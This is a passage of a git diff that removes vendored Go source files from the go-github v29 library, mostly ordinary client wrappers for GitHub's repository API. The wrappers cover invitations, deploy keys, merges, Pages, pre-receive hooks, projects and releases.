s.client.Do(ctx, req, nil) -} - -// TestHook triggers a test Hook by github. -// -// GitHub API docs: https://developer.github.com/v3/repos/hooks/#test-a-push-hook -func (s *RepositoriesService) TestHook(ctx context.Context, owner, repo string, id int64) (*Response, error) { - u := fmt.Sprintf("repos/%v/%v/hooks/%d/tests", owner, repo, id) - req, err := s.client.NewRequest("POST", u, nil) - if err != nil { - return nil, err - } - return s.client.Do(ctx, req, nil) -} diff --git a/vendor/github.com/google/go-github/v29/github/repos_invitations.go b/vendor/github.com/google/go-github/v29/github/repos_invitations.go deleted file mode 100644 index b88e9359f3..0000000000 --- a/vendor/github.com/google/go-github/v29/github/repos_invitations.go +++ /dev/null @@ -1,89 +0,0 @@ -// Copyright 2016 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" -) - -// RepositoryInvitation represents an invitation to collaborate on a repo. -type RepositoryInvitation struct { - ID *int64 `json:"id,omitempty"` - Repo *Repository `json:"repository,omitempty"` - Invitee *User `json:"invitee,omitempty"` - Inviter *User `json:"inviter,omitempty"` - - // Permissions represents the permissions that the associated user will have - // on the repository. Possible values are: "read", "write", "admin". - Permissions *string `json:"permissions,omitempty"` - CreatedAt *Timestamp `json:"created_at,omitempty"` - URL *string `json:"url,omitempty"` - HTMLURL *string `json:"html_url,omitempty"` -} - -// ListInvitations lists all currently-open repository invitations. -// -// GitHub API docs: https://developer.github.com/v3/repos/invitations/#list-invitations-for-a-repository -func (s *RepositoriesService) ListInvitations(ctx context.Context, owner, repo string, opt *ListOptions) ([]*RepositoryInvitation, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/invitations", owner, repo) - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - invites := []*RepositoryInvitation{} - resp, err := s.client.Do(ctx, req, &invites) - if err != nil { - return nil, resp, err - } - - return invites, resp, nil -} - -// DeleteInvitation deletes a repository invitation. -// -// GitHub API docs: https://developer.github.com/v3/repos/invitations/#delete-a-repository-invitation -func (s *RepositoriesService) DeleteInvitation(ctx context.Context, owner, repo string, invitationID int64) (*Response, error) { - u := fmt.Sprintf("repos/%v/%v/invitations/%v", owner, repo, invitationID) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} - -// UpdateInvitation updates the permissions associated with a repository -// invitation. -// -// permissions represents the permissions that the associated user will have -// on the repository. Possible values are: "read", "write", "admin". -// -// GitHub API docs: https://developer.github.com/v3/repos/invitations/#update-a-repository-invitation -func (s *RepositoriesService) UpdateInvitation(ctx context.Context, owner, repo string, invitationID int64, permissions string) (*RepositoryInvitation, *Response, error) { - opts := &struct { - Permissions string `json:"permissions"` - }{Permissions: permissions} - u := fmt.Sprintf("repos/%v/%v/invitations/%v", owner, repo, invitationID) - req, err := s.client.NewRequest("PATCH", u, opts) - if err != nil { - return nil, nil, err - } - - invite := &RepositoryInvitation{} - resp, err := s.client.Do(ctx, req, invite) - if err != nil { - return nil, resp, err - } - - return invite, resp, nil -} diff --git a/vendor/github.com/google/go-github/v29/github/repos_keys.go b/vendor/github.com/google/go-github/v29/github/repos_keys.go deleted file mode 100644 index b484f84446..0000000000 --- a/vendor/github.com/google/go-github/v29/github/repos_keys.go +++ /dev/null @@ -1,111 +0,0 @@ -// Copyright 2013 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" -) - -// The Key type is defined in users_keys.go - -// ListKeys lists the deploy keys for a repository. -// -// GitHub API docs: https://developer.github.com/v3/repos/keys/#list -func (s *RepositoriesService) ListKeys(ctx context.Context, owner string, repo string, opt *ListOptions) ([]*Key, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/keys", owner, repo) - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var keys []*Key - resp, err := s.client.Do(ctx, req, &keys) - if err != nil { - return nil, resp, err - } - - return keys, resp, nil -} - -// GetKey fetches a single deploy key. -// -// GitHub API docs: https://developer.github.com/v3/repos/keys/#get -func (s *RepositoriesService) GetKey(ctx context.Context, owner string, repo string, id int64) (*Key, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/keys/%v", owner, repo, id) - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - key := new(Key) - resp, err := s.client.Do(ctx, req, key) - if err != nil { - return nil, resp, err - } - - return key, resp, nil -} - -// CreateKey adds a deploy key for a repository. -// -// GitHub API docs: https://developer.github.com/v3/repos/keys/#create -func (s *RepositoriesService) CreateKey(ctx context.Context, owner string, repo string, key *Key) (*Key, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/keys", owner, repo) - - req, err := s.client.NewRequest("POST", u, key) - if err != nil { - return nil, nil, err - } - - k := new(Key) - resp, err := s.client.Do(ctx, req, k) - if err != nil { - return nil, resp, err - } - - return k, resp, nil -} - -// EditKey edits a deploy key. -// -// GitHub API docs: https://developer.github.com/v3/repos/keys/#edit -func (s *RepositoriesService) EditKey(ctx context.Context, owner string, repo string, id int64, key *Key) (*Key, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/keys/%v", owner, repo, id) - - req, err := s.client.NewRequest("PATCH", u, key) - if err != nil { - return nil, nil, err - } - - k := new(Key) - resp, err := s.client.Do(ctx, req, k) - if err != nil { - return nil, resp, err - } - - return k, resp, nil -} - -// DeleteKey deletes a deploy key. -// -// GitHub API docs: https://developer.github.com/v3/repos/keys/#delete -func (s *RepositoriesService) DeleteKey(ctx context.Context, owner string, repo string, id int64) (*Response, error) { - u := fmt.Sprintf("repos/%v/%v/keys/%v", owner, repo, id) - - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} diff --git a/vendor/github.com/google/go-github/v29/github/repos_merging.go b/vendor/github.com/google/go-github/v29/github/repos_merging.go deleted file mode 100644 index 04383c1ae3..0000000000 --- a/vendor/github.com/google/go-github/v29/github/repos_merging.go +++ /dev/null @@ -1,38 +0,0 @@ -// Copyright 2014 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" -) - -// RepositoryMergeRequest represents a request to merge a branch in a -// repository. -type RepositoryMergeRequest struct { - Base *string `json:"base,omitempty"` - Head *string `json:"head,omitempty"` - CommitMessage *string `json:"commit_message,omitempty"` -} - -// Merge a branch in the specified repository. -// -// GitHub API docs: https://developer.github.com/v3/repos/merging/#perform-a-merge -func (s *RepositoriesService) Merge(ctx context.Context, owner, repo string, request *RepositoryMergeRequest) (*RepositoryCommit, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/merges", owner, repo) - req, err := s.client.NewRequest("POST", u, request) - if err != nil { - return nil, nil, err - } - - commit := new(RepositoryCommit) - resp, err := s.client.Do(ctx, req, commit) - if err != nil { - return nil, resp, err - } - - return commit, resp, nil -} diff --git a/vendor/github.com/google/go-github/v29/github/repos_pages.go b/vendor/github.com/google/go-github/v29/github/repos_pages.go deleted file mode 100644 index 7eb32a9df0..0000000000 --- a/vendor/github.com/google/go-github/v29/github/repos_pages.go +++ /dev/null @@ -1,181 +0,0 @@ -// Copyright 2014 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" -) - -// Pages represents a GitHub Pages site configuration. -type Pages struct { - URL *string `json:"url,omitempty"` - Status *string `json:"status,omitempty"` - CNAME *string `json:"cname,omitempty"` - Custom404 *bool `json:"custom_404,omitempty"` - HTMLURL *string `json:"html_url,omitempty"` - Source *PagesSource `json:"source,omitempty"` -} - -// PagesSource represents a GitHub page's source. -type PagesSource struct { - Branch *string `json:"branch,omitempty"` - Path *string `json:"path,omitempty"` -} - -// PagesError represents a build error for a GitHub Pages site. -type PagesError struct { - Message *string `json:"message,omitempty"` -} - -// PagesBuild represents the build information for a GitHub Pages site. -type PagesBuild struct { - URL *string `json:"url,omitempty"` - Status *string `json:"status,omitempty"` - Error *PagesError `json:"error,omitempty"` - Pusher *User `json:"pusher,omitempty"` - Commit *string `json:"commit,omitempty"` - Duration *int `json:"duration,omitempty"` - CreatedAt *Timestamp `json:"created_at,omitempty"` - UpdatedAt *Timestamp `json:"updated_at,omitempty"` -} - -// EnablePages enables GitHub Pages for the named repo. -// -// GitHub API docs: https://developer.github.com/v3/repos/pages/#enable-a-pages-site -func (s *RepositoriesService) EnablePages(ctx context.Context, owner, repo string) (*Pages, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/pages", owner, repo) - req, err := s.client.NewRequest("POST", u, nil) - if err != nil { - return nil, nil, err - } - - req.Header.Set("Accept", mediaTypeEnablePagesAPIPreview) - - enable := new(Pages) - resp, err := s.client.Do(ctx, req, enable) - if err != nil { - return nil, resp, err - } - - return enable, resp, nil -} - -// DisablePages disables GitHub Pages for the named repo. -// -// GitHub API docs: https://developer.github.com/v3/repos/pages/#disable-a-pages-site -func (s *RepositoriesService) DisablePages(ctx context.Context, owner, repo string) (*Response, error) { - u := fmt.Sprintf("repos/%v/%v/pages", owner, repo) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeEnablePagesAPIPreview) - - return s.client.Do(ctx, req, nil) -} - -// GetPagesInfo fetches information about a GitHub Pages site. -// -// GitHub API docs: https://developer.github.com/v3/repos/pages/#get-information-about-a-pages-site -func (s *RepositoriesService) GetPagesInfo(ctx context.Context, owner, repo string) (*Pages, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/pages", owner, repo) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - site := new(Pages) - resp, err := s.client.Do(ctx, req, site) - if err != nil { - return nil, resp, err - } - - return site, resp, nil -} - -// ListPagesBuilds lists the builds for a GitHub Pages site. -// -// GitHub API docs: https://developer.github.com/v3/repos/pages/#list-pages-builds -func (s *RepositoriesService) ListPagesBuilds(ctx context.Context, owner, repo string, opt *ListOptions) ([]*PagesBuild, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/pages/builds", owner, repo) - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var pages []*PagesBuild - resp, err := s.client.Do(ctx, req, &pages) - if err != nil { - return nil, resp, err - } - - return pages, resp, nil -} - -// GetLatestPagesBuild fetches the latest build information for a GitHub pages site. -// -// GitHub API docs: https://developer.github.com/v3/repos/pages/#list-latest-pages-build -func (s *RepositoriesService) GetLatestPagesBuild(ctx context.Context, owner, repo string) (*PagesBuild, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/pages/builds/latest", owner, repo) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - build := new(PagesBuild) - resp, err := s.client.Do(ctx, req, build) - if err != nil { - return nil, resp, err - } - - return build, resp, nil -} - -// GetPageBuild fetches the specific build information for a GitHub pages site. -// -// GitHub API docs: https://developer.github.com/v3/repos/pages/#list-a-specific-pages-build -func (s *RepositoriesService) GetPageBuild(ctx context.Context, owner, repo string, id int64) (*PagesBuild, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/pages/builds/%v", owner, repo, id) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - build := new(PagesBuild) - resp, err := s.client.Do(ctx, req, build) - if err != nil { - return nil, resp, err - } - - return build, resp, nil -} - -// RequestPageBuild requests a build of a GitHub Pages site without needing to push new commit. -// -// GitHub API docs: https://developer.github.com/v3/repos/pages/#request-a-page-build -func (s *RepositoriesService) RequestPageBuild(ctx context.Context, owner, repo string) (*PagesBuild, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/pages/builds", owner, repo) - req, err := s.client.NewRequest("POST", u, nil) - if err != nil { - return nil, nil, err - } - - build := new(PagesBuild) - resp, err := s.client.Do(ctx, req, build) - if err != nil { - return nil, resp, err - } - - return build, resp, nil -} diff --git a/vendor/github.com/google/go-github/v29/github/repos_prereceive_hooks.go b/vendor/github.com/google/go-github/v29/github/repos_prereceive_hooks.go deleted file mode 100644 index cab09f7479..0000000000 --- a/vendor/github.com/google/go-github/v29/github/repos_prereceive_hooks.go +++ /dev/null @@ -1,110 +0,0 @@ -// Copyright 2018 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" -) - -// PreReceiveHook represents a GitHub pre-receive hook for a repository. -type PreReceiveHook struct { - ID *int64 `json:"id,omitempty"` - Name *string `json:"name,omitempty"` - Enforcement *string `json:"enforcement,omitempty"` - ConfigURL *string `json:"configuration_url,omitempty"` -} - -func (p PreReceiveHook) String() string { - return Stringify(p) -} - -// ListPreReceiveHooks lists all pre-receive hooks for the specified repository. -// -// GitHub API docs: https://developer.github.com/enterprise/2.13/v3/repos/pre_receive_hooks/#list-pre-receive-hooks -func (s *RepositoriesService) ListPreReceiveHooks(ctx context.Context, owner, repo string, opt *ListOptions) ([]*PreReceiveHook, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/pre-receive-hooks", owner, repo) - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypePreReceiveHooksPreview) - - var hooks []*PreReceiveHook - resp, err := s.client.Do(ctx, req, &hooks) - if err != nil { - return nil, resp, err - } - - return hooks, resp, nil -} - -// GetPreReceiveHook returns a single specified pre-receive hook. -// -// GitHub API docs: https://developer.github.com/enterprise/2.13/v3/repos/pre_receive_hooks/#get-a-single-pre-receive-hook -func (s *RepositoriesService) GetPreReceiveHook(ctx context.Context, owner, repo string, id int64) (*PreReceiveHook, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/pre-receive-hooks/%d", owner, repo, id) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypePreReceiveHooksPreview) - - h := new(PreReceiveHook) - resp, err := s.client.Do(ctx, req, h) - if err != nil { - return nil, resp, err - } - - return h, resp, nil -} - -// UpdatePreReceiveHook updates a specified pre-receive hook. -// -// GitHub API docs: https://developer.github.com/enterprise/2.13/v3/repos/pre_receive_hooks/#update-pre-receive-hook-enforcement -func (s *RepositoriesService) UpdatePreReceiveHook(ctx context.Context, owner, repo string, id int64, hook *PreReceiveHook) (*PreReceiveHook, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/pre-receive-hooks/%d", owner, repo, id) - req, err := s.client.NewRequest("PATCH", u, hook) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypePreReceiveHooksPreview) - - h := new(PreReceiveHook) - resp, err := s.client.Do(ctx, req, h) - if err != nil { - return nil, resp, err - } - - return h, resp, nil -} - -// DeletePreReceiveHook deletes a specified pre-receive hook. -// -// GitHub API docs: https://developer.github.com/enterprise/2.13/v3/repos/pre_receive_hooks/#remove-enforcement-overrides-for-a-pre-receive-hook -func (s *RepositoriesService) DeletePreReceiveHook(ctx context.Context, owner, repo string, id int64) (*Response, error) { - u := fmt.Sprintf("repos/%v/%v/pre-receive-hooks/%d", owner, repo, id) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypePreReceiveHooksPreview) - - return s.client.Do(ctx, req, nil) -} diff --git a/vendor/github.com/google/go-github/v29/github/repos_projects.go b/vendor/github.com/google/go-github/v29/github/repos_projects.go deleted file mode 100644 index d6486d293c..0000000000 --- a/vendor/github.com/google/go-github/v29/github/repos_projects.go +++ /dev/null @@ -1,69 +0,0 @@ -// Copyright 2017 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" -) - -// ProjectListOptions specifies the optional parameters to the -// OrganizationsService.ListProjects and RepositoriesService.ListProjects methods. -type ProjectListOptions struct { - // Indicates the state of the projects to return. Can be either open, closed, or all. Default: open - State string `url:"state,omitempty"` - - ListOptions -} - -// ListProjects lists the projects for a repo. -// -// GitHub API docs: https://developer.github.com/v3/projects/#list-repository-projects -func (s *RepositoriesService) ListProjects(ctx context.Context, owner, repo string, opt *ProjectListOptions) ([]*Project, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/projects", owner, repo) - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept headers when APIs fully launch. - req.Header.Set("Accept", mediaTypeProjectsPreview) - - var projects []*Project - resp, err := s.client.Do(ctx, req, &projects) - if err != nil { - return nil, resp, err - } - - return projects, resp, nil -} - -// CreateProject creates a GitHub Project for the specified repository. -// -// GitHub API docs: https://developer.github.com/v3/projects/#create-a-repository-project -func (s *RepositoriesService) CreateProject(ctx context.Context, owner, repo string, opt *ProjectOptions) (*Project, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/projects", owner, repo) - req, err := s.client.NewRequest("POST", u, opt) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept headers when APIs fully launch. - req.Header.Set("Accept", mediaTypeProjectsPreview) - - project := &Project{} - resp, err := s.client.Do(ctx, req, project) - if err != nil { - return nil, resp, err - } - - return project, resp, nil -} diff --git a/vendor/github.com/google/go-github/v29/github/repos_releases.go b/vendor/github.com/google/go-github/v29/github/repos_releases.go deleted file mode 100644 index 5c0a1cea84..0000000000 --- a/vendor/github.com/google/go-github/v29/github/repos_releases.go +++ /dev/null @@ -1,374 +0,0 @@ -// Copyright 2013 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "errors" - "fmt" - "io" - "mime" - "net/http" - "os" - "path/filepath" - "strings" -) - -// RepositoryRelease represents a GitHub release in a repository. -type RepositoryRelease struct { - TagName *string `json:"tag_name,omitempty"` - TargetCommitish *string `json:"target_commitish,omitempty"` - Name *string `json:"name,omitempty"` - Body *string `json:"body,omitempty"` - Draft *bool `json:"draft,omitempty"` - Prerelease *bool `json:"prerelease,omitempty"` - - // The following fields are not used in CreateRelease or EditRelease: - ID *int64 `json:"id,omitempty"` - CreatedAt *Timestamp `json:"created_at,omitempty"` - PublishedAt *Timestamp `json:"published_at,omitempty"` - URL *string `json:"url,omitempty"` - HTMLURL *string `json:"html_url,omitempty"` - AssetsURL *string `json:"assets_url,omitempty"` - Assets []ReleaseAsset `json:"assets,omitempty"` - UploadURL *string `json:"upload_url,omitempty"` - ZipballURL *string `json:"zipball_url,omitempty"` - TarballURL *string `json:"tarball_url,omitempty"` - Author *User `json:"author,omitempty"` - NodeID *string `json:"node_id,omitempty"` -} - -func (r RepositoryRelease) String() string { - return Stringify(r) -} - -// ReleaseAsset represents a GitHub release asset in a repository. -type ReleaseAsset struct { - ID *int64 `json:"id,omitempty"` - URL *string `json:"url,omitempty"` - Name *string `json:"name,omitempty"` - Label *string `json:"label,omitempty"` - State *string `json:"state,omitempty"` - ContentType *string `json:"content_type,omitempty"` - Size *int `json:"size,omitempty"` - DownloadCount *int `json:"download_count,omitempty"` - CreatedAt *Timestamp `json:"created_at,omitempty"` - UpdatedAt *Timestamp `json:"updated_at,omitempty"` - BrowserDownloadURL *string `json:"browser_download_url,omitempty"` - Uploader *User `json:"uploader,omitempty"` - NodeID *string `json:"node_id,omitempty"` -} - -func (r ReleaseAsset) String() string { - return Stringify(r) -} - -// ListReleases lists the releases for a repository. -// -// GitHub API docs: https://developer.github.com/v3/repos/releases/#list-releases-for-a-repository -func (s *RepositoriesService) ListReleases(ctx context.Context, owner, repo string, opt *ListOptions) ([]*RepositoryRelease, *Response, error) { - u := fmt.Sprintf("repos/%s/%s/releases", owner, repo) - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var releases []*RepositoryRelease - resp, err := s.client.Do(ctx, req, &releases) - if err != nil { - return nil, resp, err - } - return releases, resp, nil -} - -// GetRelease fetches a single release. -// -// GitHub API docs: https://developer.github.com/v3/repos/releases/#get-a-single-release -func (s *RepositoriesService) GetRelease(ctx context.Context, owner, repo string, id int64) (*RepositoryRelease, *Response, error) { - u := fmt.Sprintf("repos/%s/%s/releases/%d", owner, repo, id) - return s.getSingleRelease(ctx, u) -} - -// GetLatestRelease fetches the latest published release for the repository. -// -// GitHub API docs: https://developer.github.com/v3/repos/releases/#get-the-latest-release -func (s *RepositoriesService) GetLatestRelease(ctx context.Context, owner, repo string) (*RepositoryRelease, *Response, error) { - u := fmt.Sprintf("repos/%s/%s/releases/latest", owner, repo) - return s.getSingleRelease(ctx, u) -} - -// GetReleaseByTag fetches a release with the specified tag. -// -// GitHub API docs: https://developer.github.com/v3/repos/releases/#get-a-release-by-tag-name -func (s *RepositoriesService) GetReleaseByTag(ctx context.Context, owner, repo, tag string) (*RepositoryRelease, *Response, error) { - u := fmt.Sprintf("repos/%s/%s/releases/tags/%s", owner, repo, tag) - return s.getSingleRelease(ctx, u) -} - -func (s *RepositoriesService) getSingleRelease(ctx context.Context, url string) (*RepositoryRelease, *Response, error) { - req, err := s.client.NewRequest("GET", url, nil) - if err != nil { - return nil, nil, err - } - - release := new(RepositoryRelease) - resp, err := s.client.Do(ctx, req, release) - if err != nil { - return nil, resp, err - } - return release, resp, nil -} - -// repositoryReleaseRequest is a subset of RepositoryRelease and -// is used internally by CreateRelease and EditRelease to pass -// only the known fields for these endpoints. -// -// See https://github.com/google/go-github/issues/992 for more -// information. -type repositoryReleaseRequest struct { - TagName *string `json:"tag_name,omitempty"` - TargetCommitish *string `json:"target_commitish,omitempty"` - Name *string `json:"name,omitempty"` - Body *string `json:"body,omitempty"` - Draft *bool `json:"draft,omitempty"` - Prerelease *bool `json:"prerelease,omitempty"` -} - -// CreateRelease adds a new release for a repository. -// -// Note that only a subset of the release fields are used. -// See RepositoryRelease for more information. -// -// GitHub API docs: https://developer.github.com/v3/repos/releases/#create-a-release -func (s *RepositoriesService) CreateRelease(ctx context.Context, owner, repo string, release *RepositoryRelease) (*RepositoryRelease, *Response, error) { - u := fmt.Sprintf("repos/%s/%s/releases", owner, repo) - - releaseReq := &repositoryReleaseRequest{ - TagName: release.TagName, - TargetCommitish: release.TargetCommitish, - Name: release.Name, - Body: release.Body, - Draft: release.Draft, - Prerelease: release.Prerelease, - } - - req, err := s.client.NewRequest("POST", u, releaseReq) - if err != nil { - return nil, nil, err - } - - r := new(RepositoryRelease) - resp, err := s.client.Do(ctx, req, r) - if err != nil { - return nil, resp, err - } - return r, resp, nil -} - -// EditRelease edits a repository release. -// -// Note that only a subset of the release fields are used. -// See RepositoryRelease for more information. -// -// GitHub API docs: https://developer.github.com/v3/repos/releases/#edit-a-release -func (s *RepositoriesService) EditRelease(ctx context.Context, owner, repo string, id int64, release *RepositoryRelease) (*RepositoryRelease, *Response, error) { - u := fmt.Sprintf("repos/%s/%s/releases/%d", owner, repo, id) - - releaseReq := &repositoryReleaseRequest{ - TagName: release.TagName, - TargetCommitish: release.TargetCommitish, - Name: release.Name, - Body: release.Body, - Draft: release.Draft, - Prerelease: release.Prerelease, - } - - req, err := s.client.NewRequest("PATCH", u, releaseReq) - if err != nil { - return nil, nil, err - } - - r := new(RepositoryRelease) - resp, err := s.client.Do(ctx, req, r) - if err != nil { - return nil, resp, err - } - return r, resp, nil -} - -// DeleteRelease delete a single release from a repository. -// -// GitHub API docs: https://developer.github.com/v3/repos/releases/#delete-a-release -func (s *RepositoriesService) DeleteRelease(ctx context.Context, owner, repo string, id int64) (*Response, error) { - u := fmt.Sprintf("repos/%s/%s/releases/%d", owner, repo, id) - - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - return s.client.Do(ctx, req, nil) -} - -// ListReleaseAssets lists the release's assets. -// -// GitHub API docs: https://developer.github.com/v3/repos/releases/#list-assets-for-a-release -func (s *RepositoriesService) ListReleaseAssets(ctx context.Context, owner, repo string, id int64, opt *ListOptions) ([]*ReleaseAsset, *Response, error) { - u := fmt.Sprintf("repos/%s/%s/releases/%d/assets", owner, repo, id) - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var assets []*ReleaseAsset - resp, err := s.client.Do(ctx, req, &assets) - if err != nil { - return nil, resp, err - } - return assets, resp, nil -} - -// GetReleaseAsset fetches a single release asset. -// -// GitHub API docs: https://developer.github.com/v3/repos/releases/#get-a-single-release-asset -func (s *RepositoriesService) GetReleaseAsset(ctx context.Context, owner, repo string, id int64) (*ReleaseAsset, *Response, error) { - u := fmt.Sprintf("repos/%s/%s/releases/assets/%d", owner, repo, id) - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - asset := new(ReleaseAsset) - resp, err := s.client.Do(ctx, req, asset) - if err != nil { - return nil, resp, err - } - return asset, resp, nil -} - -// DownloadReleaseAsset downloads a release asset or returns a redirect URL. -// -// DownloadReleaseAsset returns an io.ReadCloser that reads the contents of the -// specified release asset. It is the caller's responsibility to close the ReadCloser. -// If a redirect is returned, the redirect URL will be returned as a string instead -// of the io.ReadCloser. Exactly one of rc and redirectURL will be zero. -// -// GitHub API docs: https://developer.github.com/v3/repos/releases/#get-a-single-release-asset -func (s *RepositoriesService) DownloadReleaseAsset(ctx context.Context, owner, repo string, id int64) (rc io.ReadCloser, redirectURL string, err error) { - u := fmt.Sprintf("repos/%s/%s/releases/assets/%d", owner, repo, id) - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, "", err - } - req.Header.Set("Accept", defaultMediaType) - - s.client.clientMu.Lock() - defer s.client.clientMu.Unlock() - - var loc string - saveRedirect := s.client.client.CheckRedirect - s.client.client.CheckRedirect = func(req *http.Request, via []*http.Request) error { - loc = req.URL.String() - return errors.New("disable redirect") - } - defer func() { s.client.client.CheckRedirect = saveRedirect }() - - req = withContext(ctx, req) - resp, err := s.client.client.Do(req) - if err != nil { - if !strings.Contains(err.Error(), "disable redirect") { - return nil, "", err - } - return nil, loc, nil // Intentionally return no error with valid redirect URL. - } - - if err := CheckResponse(resp); err != nil { - resp.Body.Close() - return nil, "", err - } - - return resp.Body, "", nil -} - -// EditReleaseAsset edits a repository release asset. -// -// GitHub API docs: https://developer.github.com/v3/repos/releases/#edit-a-release-asset -func (s *RepositoriesService) EditReleaseAsset(ctx context.Context, owner, repo string, id int64, release *ReleaseAsset) (*ReleaseAsset, *Response, error) { - u := fmt.Sprintf("repos/%s/%s/releases/assets/%d", owner, repo, id) - - req, err := s.client.NewRequest("PATCH", u, release) - if err != nil { - return nil, nil, err - } - - asset := new(ReleaseAsset) - resp, err := s.client.Do(ctx, req, asset) - if err != nil { - return nil, resp, err - } - return asset, resp, nil -} - -// DeleteReleaseAsset delete a single release asset from a repository. -// -// GitHub API docs: https://developer.github.com/v3/repos/releases/#delete-a-release-asset -func (s *RepositoriesService) DeleteReleaseAsset(ctx context.Context, owner, repo string, id int64) (*Response, error) { - u := fmt.Sprintf("repos/%s/%s/releases/assets/%d", owner, repo, id) - - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - return s.client.Do(ctx, req, nil) -} - -// UploadReleaseAsset creates an asset by uploading a file into a release repository. -// To upload assets that cannot be represented by an os.File, call NewUploadRequest directly. -// -// GitHub API docs: https://developer.github.com/v3/repos/releases/#upload-a-release-asset -func (s *RepositoriesService) UploadReleaseAsset(ctx context.Context, owner, repo string, id int64, opt *UploadOptions, file *os.File) (*ReleaseAsset, *Response, error) { - u := fmt.Sprintf("repos/%s/%s/releases/%d/assets", owner, repo, id) - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - stat, err := file.Stat() - if err != nil { - return nil, nil, err - } - if stat.IsDir() { - return nil, nil, errors.New("the asset to upload can't be a directory") - } - - mediaType := mime.TypeByExtension(filepath.Ext(file.Name())) - if opt.MediaType != "" { - mediaType = opt.MediaType - } - - req, err := s.client.NewUploadRequest(u, file, stat.Size(), mediaType) - if err != nil { - return nil, nil, err - } - - asset := new(ReleaseAsset) - resp, err := s.client.Do(ctx, req, asset) - if err != nil { - return nil, resp, err - } - return asset, resp, nil -} diff --git a/vendor/github.com/google/go-github/v29/github/repos_stats.go b/vendor/github.com/google/go-github/v29/github/repos_stats.go deleted file mode 100644 index bb355aeadd..0000000000 --- a/vendor/github.com/google/go-github/v29/github/repos_stats.go +++ /dev/null @@ -1,226 +0,0 @@ -// Copyright 2014 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" - "time" -) - -// ContributorStats represents a contributor to a repository and their -// weekly contributions to a given repo. -type ContributorStats struct { - Author *Contributor `json:"author,omitempty"` - Total *int `json:"total,omitempty"` - Weeks []WeeklyStats `json:"weeks,omitempty"` -} - -func (c ContributorStats) String() string { - return Stringify(c) -} - -// WeeklyStats represents the number of additions, deletions and commits -// a Contributor made in a given week. -type WeeklyStats struct { - Week 